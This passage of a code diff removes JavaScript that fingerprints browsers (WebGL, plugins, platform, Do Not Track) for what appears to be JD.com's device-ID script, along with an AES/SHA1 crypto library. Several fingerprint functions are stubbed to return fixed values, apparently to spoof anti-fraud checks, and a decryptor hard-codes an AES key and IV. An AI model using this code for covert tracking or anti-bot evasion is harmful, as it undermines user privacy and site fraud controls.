- webglKey: function (a) { - if (!this.options.excludeWebGL && this.isCanvasSupported()) { - var b = this.getWebglFp(); - _jdfp_webgl_md5 = t(b); - a.push(b); - y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'"; - } - return a; - }, - pluginsKey: function (a) { - this.isIE() - ? (a.push(this.getIEPluginsString()), - (y = y + ",'plugins':'" + t(this.getIEPluginsString()) + "'")) - : (a.push(this.getRegularPluginsString()), - (y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + "'")); - return a; - }, - getRegularPluginsString: function () { - return this.map( - navigator.plugins, - function (a) { - var b = this.map(a, function (c) { - return [c.type, c.suffixes].join("~"); - }).join(","); - return [a.name, a.description, b].join("::"); - }, - this - ).join(";"); - }, - getIEPluginsString: function () { - return window.ActiveXObject - ? this.map( - "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1".split( - ";" - ), - function (a) { - try { - return new ActiveXObject(a), a; - } catch (b) { - return null; - } - } - ).join(";") - : ""; - }, - hasSessionStorage: function () { - try { - return !!window.sessionStorage; - } catch (a) { - return !0; - } - }, - hasLocalStorage: function () { - try { - return !!window.localStorage; - } catch (a) { - return !0; - } - }, - hasIndexedDB: function () { - return true; - return !!window.indexedDB; - }, - getNavigatorCpuClass: function () { - return navigator.cpuClass ? navigator.cpuClass : "NA"; - }, - getNavigatorPlatform: function () { - return navigator.platform ? navigator.platform : "NA"; - }, - getHardwareConcurrency: function () { - return navigator.hardwareConcurrency - ? navigator.hardwareConcurrency - : "NA"; - }, - getDoNotTrack: function () { - return navigator.doNotTrack ? navigator.doNotTrack : "NA"; - }, - getCanvasFp: function () { - return ""; - var a = navigator.userAgent.toLowerCase(); - if ( - (0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && - (0 < a.indexOf("iphone") || 0 < a.indexOf("ipad")) - ) - return null; - a = document.createElement("canvas"); - var b = a.getContext("2d"); - b.fillStyle = "red"; - b.fillRect(30, 10, 200, 100); - b.strokeStyle = "#1a3bc1"; - b.lineWidth = 6; - b.lineCap = "round"; - b.arc(50, 50, 20, 0, Math.PI, !1); - b.stroke(); - b.fillStyle = "#42e1a2"; - b.font = "15.4px 'Arial'"; - b.textBaseline = "alphabetic"; - b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); - b.shadowOffsetX = 1; - b.shadowOffsetY = 2; - b.shadowColor = "white"; - b.fillStyle = "rgba(0, 0, 200, 0.5)"; - b.font = "60px 'Not a real font'"; - b.fillText("No\u9a97", 40, 80); - return a.toDataURL(); - }, - getWebglFp: function () { - var a = navigator.userAgent; - a = a.toLowerCase(); - if ( - (0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && - (0 < a.indexOf("iphone") || 0 < a.indexOf("ipad")) - ) - return null; - a = function (D) { - b.clearColor(0, 0, 0, 1); - b.enable(b.DEPTH_TEST); - b.depthFunc(b.LEQUAL); - b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); - return "[" + D[0] + ", " + D[1] + "]"; - }; - var b = this.getWebglCanvas(); - if (!b) return null; - var c = [], - l = b.createBuffer(); - b.bindBuffer(b.ARRAY_BUFFER, l); - var h = new Float32Array([ - -0.2, -0.9, 0, 0.4, -0.26, 0, 0, 0.732134444, 0, - ]); - b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); - l.itemSize = 3; - l.numItems = 3; - h = b.createProgram(); - var q = b.createShader(b.VERTEX_SHADER); - b.shaderSource( - q, - "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" - ); - b.compileShader(q); - var z = b.createShader(b.FRAGMENT_SHADER); - b.shaderSource( - z, - "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" - ); - b.compileShader(z); - b.attachShader(h, q); - b.attachShader(h, z); - b.linkProgram(h); - b.useProgram(h); - h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); - h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); - b.enableVertexAttribArray(h.vertexPosArray); - b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); - b.uniform2f(h.offsetUniform, 1, 1); - b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); - null != b.canvas && c.push(b.canvas.toDataURL()); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); - c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); - c.push("w3" + b.getParameter(b.ALPHA_BITS)); - c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); - c.push("w5" + b.getParameter(b.BLUE_BITS)); - c.push("w6" + b.getParameter(b.DEPTH_BITS)); - c.push("w7" + b.getParameter(b.GREEN_BITS)); - c.push( - "w8" + - (function (D) { - var B, - F = - D.getExtension("EXT_texture_filter_anisotropic") || - D.getExtension("WEBKIT_EXT_texture_filter_anisotropic") || - D.getExtension("MOZ_EXT_texture_filter_anisotropic"); - return F - ? ((B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT)), - 0 === B && (B = 2), - B) - : null; - })(b) - ); - c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); - c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); - c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); - c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); - c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); - c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); - c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); - c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); - c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); - c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); - c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); - c.push("w20" + b.getParameter(b.RED_BITS)); - c.push("w21" + b.getParameter(b.RENDERER)); - c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); - c.push("w23" + b.getParameter(b.STENCIL_BITS)); - c.push("w24" + b.getParameter(b.VENDOR)); - c.push("w25" + b.getParameter(b.VERSION)); - try { - var C = b.getExtension("WEBGL_debug_renderer_info"); - C && - (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), - c.push("wur:" + b.getParameter(C.UNMASKED_RENDERER_WEBGL))); - } catch (D) {} - return c.join("\u00a7"); - }, - isCanvasSupported: function () { - return true; - var a = document.createElement("canvas"); - return !(!a.getContext || !a.getContext("2d")); - }, - isIE: function () { - return "Microsoft Internet Explorer" === navigator.appName || - ("Netscape" === navigator.appName && - /Trident/.test(navigator.userAgent)) - ? !0 - : !1; - }, - getWebglCanvas: function () { - return null; - var a = document.createElement("canvas"), - b = null; - try { - var c = navigator.userAgent; - c = c.toLowerCase(); - ((0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && - (0 < c.indexOf("iphone") || 0 < c.indexOf("ipad"))) || - (b = a.getContext("webgl") || a.getContext("experimental-webgl")); - } catch (l) {} - b || (b = null); - return b; - }, - each: function (a, b, c) { - if (null !== a) - if (this.nativeForEach && a.forEach === this.nativeForEach) - a.forEach(b, c); - else if (a.length === +a.length) - for ( - var l = 0, h = a.length; - l < h && b.call(c, a[l], l, a) !== {}; - l++ - ); - else - for (l in a) - if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break; - }, - map: function (a, b, c) { - var l = []; - if (null == a) return l; - if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); - this.each(a, function (h, q, z) { - l[l.length] = b.call(c, h, q, z); - }); - return l; - }, - x64Add: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] + b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] + b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] + b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] + b[0]; - c[0] &= 65535; - return [(c[0] << 16) | c[1], (c[2] << 16) | c[3]]; - }, - x64Multiply: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] * b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] * b[3]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[2] += a[3] * b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] * b[3]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[2] * b[2]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[3] * b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; - c[0] &= 65535; - return [(c[0] << 16) | c[1], (c[2] << 16) | c[3]]; - }, - x64Rotl: function (a, b) { - b %= 64; - if (32 === b) return [a[1], a[0]]; - if (32 > b) - return [ - (a[0] << b) | (a[1] >>> (32 - b)), - (a[1] << b) | (a[0] >>> (32 - b)), - ]; - b -= 32; - return [ - (a[1] << b) | (a[0] >>> (32 - b)), - (a[0] << b) | (a[1] >>> (32 - b)), - ]; - }, - x64LeftShift: function (a, b) { - b %= 64; - return 0 === b - ? a - : 32 > b - ? [(a[0] << b) | (a[1] >>> (32 - b)), a[1] << b] - : [a[1] << (b - 32), 0]; - }, - x64Xor: function (a, b) { - return [a[0] ^ b[0], a[1] ^ b[1]]; - }, - x64Fmix: function (a) { - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [4283543511, 3981806797]); - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [3301882366, 444984403]); - return (a = this.x64Xor(a, [0, a[0] >>> 1])); - }, - x64hash128: function (a, b) { - a = a || ""; - b = b || 0; - var c = a.length % 16, - l = a.length - c, - h = [0, b]; - b = [0, b]; - for ( - var q, - z, - C = [2277735313, 289559509], - D = [1291169091, 658871167], - B = 0; - B < l; - B += 16 - ) - (q = [ - (a.charCodeAt(B + 4) & 255) | - ((a.charCodeAt(B + 5) & 255) << 8) | - ((a.charCodeAt(B + 6) & 255) << 16) | - ((a.charCodeAt(B + 7) & 255) << 24), - (a.charCodeAt(B) & 255) | - ((a.charCodeAt(B + 1) & 255) << 8) | - ((a.charCodeAt(B + 2) & 255) << 16) | - ((a.charCodeAt(B + 3) & 255) << 24), - ]), - (z = [ - (a.charCodeAt(B + 12) & 255) | - ((a.charCodeAt(B + 13) & 255) << 8) | - ((a.charCodeAt(B + 14) & 255) << 16) | - ((a.charCodeAt(B + 15) & 255) << 24), - (a.charCodeAt(B + 8) & 255) | - ((a.charCodeAt(B + 9) & 255) << 8) | - ((a.charCodeAt(B + 10) & 255) << 16) | - ((a.charCodeAt(B + 11) & 255) << 24), - ]), - (q = this.x64Multiply(q, C)), - (q = this.x64Rotl(q, 31)), - (q = this.x64Multiply(q, D)), - (h = this.x64Xor(h, q)), - (h = this.x64Rotl(h, 27)), - (h = this.x64Add(h, b)), - (h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809])), - (z = this.x64Multiply(z, D)), - (z = this.x64Rotl(z, 33)), - (z = this.x64Multiply(z, C)), - (b = this.x64Xor(b, z)), - (b = this.x64Rotl(b, 31)), - (b = this.x64Add(b, h)), - (b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, 944331445])); - q = [0, 0]; - z = [0, 0]; - switch (c) { - case 15: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); - case 14: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); - case 13: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); - case 12: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); - case 11: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); - case 10: - z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); - case 9: - (z = this.x64Xor(z, [0, a.charCodeAt(B + 8)])), - (z = this.x64Multiply(z, D)), - (z = this.x64Rotl(z, 33)), - (z = this.x64Multiply(z, C)), - (b = this.x64Xor(b, z)); - case 8: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); - case 7: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); - case 6: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); - case 5: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); - case 4: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); - case 3: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); - case 2: - q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); - case 1: - (q = this.x64Xor(q, [0, a.charCodeAt(B)])), - (q = this.x64Multiply(q, C)), - (q = this.x64Rotl(q, 31)), - (q = this.x64Multiply(q, D)), - (h = this.x64Xor(h, q)); - } - h = this.x64Xor(h, [0, a.length]); - b = this.x64Xor(b, [0, a.length]); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - h = this.x64Fmix(h); - b = this.x64Fmix(b); - h = this.x64Add(h, b); - b = this.x64Add(b, h); - return ( - ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + - ("00000000" + (h[1] >>> 0).toString(16)).slice(-8) + - ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + - ("00000000" + (b[1] >>> 0).toString(16)).slice(-8) - ); - }, - }; -} - -var JDDSecCryptoJS = - JDDSecCryptoJS || - (function (t, u) { - var v = {}, - x = (v.lib = {}), - w = (x.Base = (function () { - function g() {} - - return { - extend: function (m) { - g.prototype = this; - var a = new g(); - m && a.mixIn(m); - a.hasOwnProperty("init") || - (a.init = function () { - a.$super.init.apply(this, arguments); - }); - a.init.prototype = a; - a.$super = this; - return a; - }, - create: function () { - var m = this.extend(); - m.init.apply(m, arguments); - return m; - }, - init: function () {}, - mixIn: function (m) { - for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); - m.hasOwnProperty("toString") && (this.toString = m.toString); - }, - clone: function () { - return this.init.prototype.extend(this); - }, - }; - })()), - A = (x.WordArray = w.extend({ - init: function (g, m) { - g = this.words = g || []; - this.sigBytes = m != u ? m : 4 * g.length; - }, - toString: function (g) { - return (g || n).stringify(this); - }, - concat: function (g) { - var m = this.words, - a = g.words, - b = this.sigBytes; - g = g.sigBytes; - this.clamp(); - if (b % 4) - for (var c = 0; c < g; c++) - m[(b + c) >>> 2] |= - ((a[c >>> 2] >>> (24 - (c % 4) * 8)) & 255) << - (24 - ((b + c) % 4) * 8); - else if (65535 < a.length) - for (c = 0; c < g; c += 4) m[(b + c) >>> 2] = a[c >>> 2]; - else m.push.apply(m, a); - this.sigBytes += g; - return this; - }, - clamp: function () { - var g = this.words, - m = this.sigBytes; - g[m >>> 2] &= 4294967295 << (32 - (m % 4) * 8); - g.length = t.ceil(m / 4); - }, - clone: function () { - var g = w.clone.call(this); - g.words = this.words.slice(0); - return g; - }, - random: function (g) { - for (var m = [], a = 0; a < g; a += 4) - m.push((4294967296 * t.random()) | 0); - return new A.init(m, g); - }, - })); - x.UUID = w.extend({ - generateUuid: function () { - for ( - var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), - m = 0, - a = g.length; - m < a; - m++ - ) - switch (g[m]) { - case "x": - g[m] = t.floor(16 * t.random()).toString(16); - break; - case "y": - g[m] = (t.floor(4 * t.random()) + 8).toString(16); - } - return g.join(""); - }, - }); - var y = (v.enc = {}), - n = (y.Hex = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - var a = []; - for (var b = 0; b < g; b++) { - var c = (m[b >>> 2] >>> (24 - (b % 4) * 8)) & 255; - a.push((c >>> 4).toString(16)); - a.push((c & 15).toString(16)); - } - return a.join(""); - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b += 2) - a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << (24 - (b % 8) * 4); - return new A.init(a, m / 2); - }, - }), - e = (y.Latin1 = { - stringify: function (g) { - var m = g.words; - g = g.sigBytes; - for (var a = [], b = 0; b < g; b++) - a.push( - String.fromCharCode((m[b >>> 2] >>> (24 - (b % 4) * 8)) & 255) - ); - return a.join(""); - }, - parse: function (g) { - for (var m = g.length, a = [], b = 0; b < m; b++) - a[b >>> 2] |= (g.charCodeAt(b) & 255) << (24 - (b % 4) * 8); - return new A.init(a, m); - }, - }), - f = (y.Utf8 = { - stringify: function (g) { - try { - return decodeURIComponent(escape(e.stringify(g))); - } catch (m) { - throw Error("Malformed UTF-8 data"); - } - }, - parse: function (g) { - return e.parse(unescape(encodeURIComponent(g))); - }, - }), - r = (x.BufferedBlockAlgorithm = w.extend({ - reset: function () { - this._data = new A.init(); - this._nDataBytes = 0; - }, - _append: function (g) { - "string" == typeof g && (g = f.parse(g)); - this._data.concat(g); - this._nDataBytes += g.sigBytes; - }, - _process: function (g) { - var m = this._data, - a = m.words, - b = m.sigBytes, - c = this.blockSize, - l = b / (4 * c); - l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); - g = l * c; - b = t.min(4 * g, b); - if (g) { - for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); - h = a.splice(0, g); - m.sigBytes -= b; - } - return new A.init(h, b); - }, - clone: function () { - var g = w.clone.call(this); - g._data = this._data.clone(); - return g; - }, - _minBufferSize: 0, - })); - x.Hasher = r.extend({ - cfg: w.extend(), - init: function (g) { - this.cfg = this.cfg.extend(g); - this.reset(); - }, - reset: function () { - r.reset.call(this); - this._doReset(); - }, - update: function (g) { - this._append(g); - this._process(); - return this; - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize(); - }, - blockSize: 16, - _createHelper: function (g) { - return function (m, a) { - return new g.init(a).finalize(m); - }; - }, - _createHmacHelper: function (g) { - return function (m, a) { - return new k.HMAC.init(g, a).finalize(m); - }; - }, - }); - var k = (v.algo = {}); - v.channel = {}; - return v; - })(Math); -JDDSecCryptoJS.lib.Cipher || - (function (t) { - var u = JDDSecCryptoJS, - v = u.lib, - x = v.Base, - w = v.WordArray, - A = v.BufferedBlockAlgorithm, - y = (v.Cipher = A.extend({ - cfg: x.extend(), - createEncryptor: function (g, m) { - return this.create(this._ENC_XFORM_MODE, g, m); - }, - createDecryptor: function (g, m) { - return this.create(this._DEC_XFORM_MODE, g, m); - }, - init: function (g, m, a) { - this.cfg = this.cfg.extend(a); - this._xformMode = g; - this._key = m; - this.reset(); - }, - reset: function () { - A.reset.call(this); - this._doReset(); - }, - process: function (g) { - this._append(g); - return this._process(); - }, - finalize: function (g) { - g && this._append(g); - return this._doFinalize(); - }, - keySize: 4, - ivSize: 4, - _ENC_XFORM_MODE: 1, - _DEC_XFORM_MODE: 2, - _createHelper: (function () { - function g(m) { - if ("string" != typeof m) return k; - } - - return function (m) { - return { - encrypt: function (a, b, c) { - return g(b).encrypt(m, a, b, c); - }, - decrypt: function (a, b, c) { - return g(b).decrypt(m, a, b, c); - }, - }; - }; - })(), - })); - v.StreamCipher = y.extend({ - _doFinalize: function () { - return this._process(!0); - }, - blockSize: 1, - }); - var n = (u.mode = {}), - e = (v.BlockCipherMode = x.extend({ - createEncryptor: function (g, m) { - return this.Encryptor.create(g, m); - }, - createDecryptor: function (g, m) { - return this.Decryptor.create(g, m); - }, - init: function (g, m) { - this._cipher = g; - this._iv = m; - }, - })); - n = n.CBC = (function () { - function g(a, b, c) { - var l = this._iv; - l ? (this._iv = t) : (l = this._prevBlock); - for (var h = 0; h < c; h++) a[b + h] ^= l[h]; - } - - var m = e.extend(); - m.Encryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize; - g.call(this, a, b, l); - c.encryptBlock(a, b); - this._prevBlock = a.slice(b, b + l); - }, - }); - m.Decryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize, - h = a.slice(b, b + l); - c.decryptBlock(a, b); - g.call(this, a, b, l); - this._prevBlock = h; - }, - }); - return m; - })(); - var f = ((u.pad = {}).Pkcs7 = { - pad: function (g, m) { - m *= 4; - m -= g.sigBytes % m; - for ( - var a = (m << 24) | (m << 16) | (m << 8) | m, b = [], c = 0; - c < m; - c += 4 - ) - b.push(a); - m = w.create(b, m); - g.concat(m); - }, - unpad: function (g) { - g.sigBytes -= g.words[(g.sigBytes - 1) >>> 2] & 255; - }, - }); - v.BlockCipher = y.extend({ - cfg: y.cfg.extend({ - mode: n, - padding: f, - }), - reset: function () { - y.reset.call(this); - var g = this.cfg, - m = g.iv; - g = g.mode; - if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; - else (a = g.createDecryptor), (this._minBufferSize = 1); - this._mode = a.call(g, this, m && m.words); - }, - _doProcessBlock: function (g, m) { - this._mode.processBlock(g, m); - }, - _doFinalize: function () { - var g = this.cfg.padding; - if (this._xformMode == this._ENC_XFORM_MODE) { - g.pad(this._data, this.blockSize); - var m = this._process(!0); - } else (m = this._process(!0)), g.unpad(m); - return m; - }, - blockSize: 4, - }); - var r = (v.CipherParams = x.extend({ - init: function (g) { - this.mixIn(g); - }, - toString: function (g) { - return (g || this.formatter).stringify(this); - }, - })); - u.format = {}; - var k = (v.SerializableCipher = x.extend({ - cfg: x.extend({}), - encrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - var c = g.createEncryptor(a, b); - m = c.finalize(m); - c = c.cfg; - return r.create({ - ciphertext: m, - key: a, - iv: c.iv, - algorithm: g, - mode: c.mode, - padding: c.padding, - blockSize: g.blockSize, - formatter: b.format, - }); - }, - decrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - m = this._parse(m, b.format); - return g.createDecryptor(a, b).finalize(m.ciphertext); - }, - _parse: function (g, m) { - return "string" == typeof g ? m.parse(g, this) : g; - }, - })); - })(); -(function () { - var t = JDDSecCryptoJS, - u = t.lib.BlockCipher, - v = t.algo, - x = [], - w = [], - A = [], - y = [], - n = [], - e = [], - f = [], - r = [], - k = [], - g = []; - (function () { - for (var a = [], b = 0; 256 > b; b++) - a[b] = 128 > b ? b << 1 : (b << 1) ^ 283; - var c = 0, - l = 0; - for (b = 0; 256 > b; b++) { - var h = l ^ (l << 1) ^ (l << 2) ^ (l << 3) ^ (l << 4); - h = (h >>> 8) ^ (h & 255) ^ 99; - x[c] = h; - w[h] = c; - var q = a[c], - z = a[q], - C = a[z], - D = (257 * a[h]) ^ (16843008 * h); - A[c] = (D << 24) | (D >>> 8); - y[c] = (D << 16) | (D >>> 16); - n[c] = (D << 8) | (D >>> 24); - e[c] = D; - D = (16843009 * C) ^ (65537 * z) ^ (257 * q) ^ (16843008 * c); - f[h] = (D << 24) | (D >>> 8); - r[h] = (D << 16) | (D >>> 16); - k[h] = (D << 8) | (D >>> 24); - g[h] = D; - c ? ((c = q ^ a[a[a[C ^ q]]]), (l ^= a[a[l]])) : (c = l = 1); - } - })(); - var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; - v = v.AES = u.extend({ - _doReset: function () { - var a = this._key, - b = a.words, - c = a.sigBytes / 4; - a = 4 * ((this._nRounds = c + 6) + 1); - for (var l = (this._keySchedule = []), h = 0; h < a; h++) - if (h < c) l[h] = b[h]; - else { - var q = l[h - 1]; - h % c - ? 6 < c && - 4 == h % c && - (q = - (x[q >>> 24] << 24) | - (x[(q >>> 16) & 255] << 16) | - (x[(q >>> 8) & 255] << 8) | - x[q & 255]) - : ((q = (q << 8) | (q >>> 24)), - (q = - (x[q >>> 24] << 24) | - (x[(q >>> 16) & 255] << 16) | - (x[(q >>> 8) & 255] << 8) | - x[q & 255]), - (q ^= m[(h / c) | 0] << 24)); - l[h] = l[h - c] ^ q; - } - b = this._invKeySchedule = []; - for (c = 0; c < a; c++) - (h = a - c), - (q = c % 4 ? l[h] : l[h - 4]), - (b[c] = - 4 > c || 4 >= h - ? q - : f[x[q >>> 24]] ^ - r[x[(q >>> 16) & 255]] ^ - k[x[(q >>> 8) & 255]] ^ - g[x[q & 255]]); - }, - encryptBlock: function (a, b) { - this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x); - }, - decryptBlock: function (a, b) { - var c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c; - this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); - c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c; - }, - _doCryptBlock: function (a, b, c, l, h, q, z, C) { - for ( - var D = this._nRounds, - B = a[b] ^ c[0], - F = a[b + 1] ^ c[1], - H = a[b + 2] ^ c[2], - G = a[b + 3] ^ c[3], - I = 4, - M = 1; - M < D; - M++ - ) { - var J = - l[B >>> 24] ^ - h[(F >>> 16) & 255] ^ - q[(H >>> 8) & 255] ^ - z[G & 255] ^ - c[I++], - K = - l[F >>> 24] ^ - h[(H >>> 16) & 255] ^ - q[(G >>> 8) & 255] ^ - z[B & 255] ^ - c[I++], - L = - l[H >>> 24] ^ - h[(G >>> 16) & 255] ^ - q[(B >>> 8) & 255] ^ - z[F & 255] ^ - c[I++]; - G = - l[G >>> 24] ^ - h[(B >>> 16) & 255] ^ - q[(F >>> 8) & 255] ^ - z[H & 255] ^ - c[I++]; - B = J; - F = K; - H = L; - } - J = - ((C[B >>> 24] << 24) | - (C[(F >>> 16) & 255] << 16) | - (C[(H >>> 8) & 255] << 8) | - C[G & 255]) ^ - c[I++]; - K = - ((C[F >>> 24] << 24) | - (C[(H >>> 16) & 255] << 16) | - (C[(G >>> 8) & 255] << 8) | - C[B & 255]) ^ - c[I++]; - L = - ((C[H >>> 24] << 24) | - (C[(G >>> 16) & 255] << 16) | - (C[(B >>> 8) & 255] << 8) | - C[F & 255]) ^ - c[I++]; - G = - ((C[G >>> 24] << 24) | - (C[(B >>> 16) & 255] << 16) | - (C[(F >>> 8) & 255] << 8) | - C[H & 255]) ^ - c[I++]; - a[b] = J; - a[b + 1] = K; - a[b + 2] = L; - a[b + 3] = G; - }, - keySize: 8, - }); - t.AES = u._createHelper(v); -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib, - v = u.WordArray, - x = u.Hasher, - w = []; - u = t.algo.SHA1 = x.extend({ - _doReset: function () { - this._hash = new v.init([ - 1732584193, 4023233417, 2562383102, 271733878, 3285377520, - ]); - }, - _doProcessBlock: function (A, y) { - for ( - var n = this._hash.words, - e = n[0], - f = n[1], - r = n[2], - k = n[3], - g = n[4], - m = 0; - 80 > m; - m++ - ) { - if (16 > m) w[m] = A[y + m] | 0; - else { - var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; - w[m] = (a << 1) | (a >>> 31); - } - a = ((e << 5) | (e >>> 27)) + g + w[m]; - a = - 20 > m - ? a + (((f & r) | (~f & k)) + 1518500249) - : 40 > m - ? a + ((f ^ r ^ k) + 1859775393) - : 60 > m - ? a + (((f & r) | (f & k) | (r & k)) - 1894007588) - : a + ((f ^ r ^ k) - 899497514); - g = k; - k = r; - r = (f << 30) | (f >>> 2); - f = e; - e = a; - } - n[0] = (n[0] + e) | 0; - n[1] = (n[1] + f) | 0; - n[2] = (n[2] + r) | 0; - n[3] = (n[3] + k) | 0; - n[4] = (n[4] + g) | 0; - }, - _doFinalize: function () { - var A = this._data, - y = A.words, - n = 8 * this._nDataBytes, - e = 8 * A.sigBytes; - y[e >>> 5] |= 128 << (24 - (e % 32)); - y[(((e + 64) >>> 9) << 4) + 14] = Math.floor(n / 4294967296); - y[(((e + 64) >>> 9) << 4) + 15] = n; - A.sigBytes = 4 * y.length; - this._process(); - return this._hash; - }, - clone: function () { - var A = x.clone.call(this); - A._hash = this._hash.clone(); - return A; - }, - }); - t.SHA1 = x._createHelper(u); - t.HmacSHA1 = x._createHmacHelper(u); -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.channel; - u.Downlink = { - deBase32: function (v) { - if (void 0 == v || "" == v || null == v) return ""; - var x = t.enc.Hex.parse("30313233343536373839616263646566"), - w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); - return t.AES.decrypt( - { - ciphertext: 